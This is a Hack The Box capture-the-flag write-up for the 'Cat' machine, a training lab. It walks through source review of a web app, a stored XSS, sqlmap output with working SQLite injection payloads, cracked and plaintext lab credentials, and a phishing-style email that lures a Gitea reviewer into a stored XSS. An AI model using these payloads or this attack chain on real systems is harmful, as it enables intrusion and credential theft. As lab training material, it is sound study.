Cat is a medium-difficulty machine from Hack The Box dealing initially with an exposed git directory allowing for source code review which reveals an XSS and SQLI vulnerabilities. Weβll use the XSS to get to admin panel and then from an admin endpoint perform SQLI to get user creds and user flag. We eventually exploit CVE-2024-6886 which is a stored XSS in an internal instance of Gitea to get root credentials.
Cat-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA) | 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA) |_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://cat.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have our usual ssh and http ports where weβre redirected to cat.htb which weβll add to our /etc/hosts file.
if ($stmt_insert) { $success_message = "Registration successful!"; } else { $error_message = "Error: Unable to register user."; } } }
We can notice that there is an unsatized username parameter, so we can inject an xss payload in it and since it gets rendered on the web app it will get triggered: XSS
And then we can register a cat and our payload will be triggered since itβs being checked by an admin: XSS
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') { if ($_SERVER["REQUEST_METHOD"] == "POST") { if (isset($_POST['catId']) && isset($_POST['catName'])) { $cat_name = $_POST['catName']; //vulnerable $catId = $_POST['catId']; $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; //vulnerable $pdo->exec($sql_insert); //vulnerable
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id"); $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT); $stmt_delete->execute();
echo"The cat has been accepted and added successfully."; } else { echo"Error: Cat ID or Cat Name not provided."; } } else { header("Location: /"); exit(); } } else { echo"Access denied."; } ?>
Weβll execute sqlmap on it and see what we get. The final payload will be like this:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 18:06:09 /2025-02-07/ [18:06:09] [INFO] parsing HTTP request from 'accept_cat_request.txt' [18:06:09] [INFO] testing connection to the target URL [18:06:10] [INFO] checking if the target is protected by some kind of WAF/IPS [18:06:10] [INFO] testing if the target URL content is stable [18:06:10] [INFO] target URL content is stable [18:06:10] [WARNING] heuristic (basic) test shows that POST parameter 'catName' might not be injectable [18:06:11] [INFO] testing for SQL injection on POST parameter 'catName' [18:06:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:06:26] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200) [18:06:26] [INFO] testing 'Generic inline queries' [18:06:26] [INFO] testing 'SQLite inline queries' [18:06:27] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)' [18:06:27] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)' [18:06:27] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)' [18:06:35] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable [18:06:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [18:06:35] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns' [18:06:35] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns' [18:06:35] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns' [18:06:35] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns' [18:06:35] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns' [18:06:35] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns' [18:06:35] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns' [18:06:35] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns' [18:06:35] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns' [18:06:35] [INFO] checking if the injection point on POST parameter 'catName' is a false positive POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests: --- Parameter: catName (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: catName=kujen'||(SELECT CHAR(68,70,87,99) WHERE 7165=7165 AND 5623=5623)||'&catId=1 Type: time-based blind Title: SQLite > 2.0 AND time-based blind (heavy query) Payload: catName=kujen'||(SELECT CHAR(89,69,69,121) WHERE 1538=1538 AND 9480=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1 ---
We can retrieve rosaβs hash using it. Cracking it we get rosa:soyunaprincesarosa. Also looking at this line in the source code:
1 2 3
if ($_SESSION['username'] == 'axel') { // If the logged in user is admin echo'<a href="/admin.php">Admin</a>';
We reckon that there is a axel user, so I check the apache logs on system and I end up finding the userβs credentials: loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q
We can now retrieve our user flag:
1 2 3 4
axel@cat:~$ id uid=1000(axel) gid=1000(axel) groups=1000(axel) axel@cat:~$ cat user.txt a4fec67382dd4b6d8959e4c33c080ab0
Privilege Escalation - XSS in Gitea
Doing some system enumeration, we find a few mails:
axel@cat:~$ cat /var/mail/axel From [email protected] Sat Sep 28 04:51:50 2024 Return-Path: <[email protected]> Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592 for <[email protected]>; Sat, 28 Sep 2024 04:51:50 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591 for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT Date: Sat, 28 Sep 2024 04:51:49 GMT From: [email protected] Message-Id: <[email protected]> Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From [email protected] Sat Sep 28 05:05:28 2024 Return-Path: <[email protected]> Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268 for <[email protected]>; Sat, 28 Sep 2024 05:05:28 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267 for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT Date: Sat, 28 Sep 2024 05:05:28 GMT From: [email protected] Message-Id: <[email protected]> Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
axel@cat:~$
Itβs hinting for a gitea instance deployed on port 3000. So letβs forward that to our machine:
And remember from the email this sentence: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
So the payload should go in description. Create repo named kujen => settings => put XSS payload inside βdescriptionβ field:
axel@cat:/var/mail$ echo -e "Subject: Test Email\n\nHello, check repo http://localhost:3000/axel/kujen" | sendmail [email protected] axel@cat:/var/mail$ ll total 64 drwxrwsrwt 2 root mail 4096 Feb 7 18:08 ./ drwxr-xr-x 13 root root 4096 Jun 6 2024 ../ -rw-rw---- 1 axel mail 1961 Jan 14 16:49 axel -rw-rw---- 1 jobert mail 557 Feb 7 18:08 jobert -rw------- 1 root mail 43698 Feb 7 18:05 root axel@cat:/var/mail$
Again , i went to read the second mail , I remember they talked about private repo. I tried to read the README.md file by using this payload and it works, but the contents are useles. So I went to read the index.php file: